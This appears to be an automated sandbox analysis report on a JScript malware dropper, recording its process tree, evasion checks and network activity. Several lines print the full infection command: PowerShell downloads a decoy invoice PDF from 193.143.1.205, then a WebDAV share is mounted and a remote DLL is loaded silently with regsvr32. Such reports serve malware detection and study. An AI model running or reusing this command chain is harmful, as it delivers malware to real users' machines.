Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3234.js.csv");ITextStream.WriteLine(" entry:2580 f:reqyqjcfr");ITextStream.WriteLine(" exec:2 f:reqyqjcfr");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22sytrop%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20aysxtr%3Dthis%5Bypmtrthy%2Bldaaaxyqu%2Bsihzkxxh%2Bzkqique%2Bhuijiqoww%2Bdilndsfya%2Bbxozmyka%2Bglewa%5D(this%5Bskdgzd%2Bgsdxckiz%2Byfpist");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4087			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5424			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 4087 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 5424 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7944	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8140	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5688	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.1671363496.000002B6EBB74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000008.00000002.2966439024.0000023021625000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000002.1734689546.000001AAD73BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`5
Source: net.exe, 00000006.00000002.1734689546.000001AAD73BF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1734498404.000001AAD7358000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2967707614.0000023026C5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll	Jump to behavior
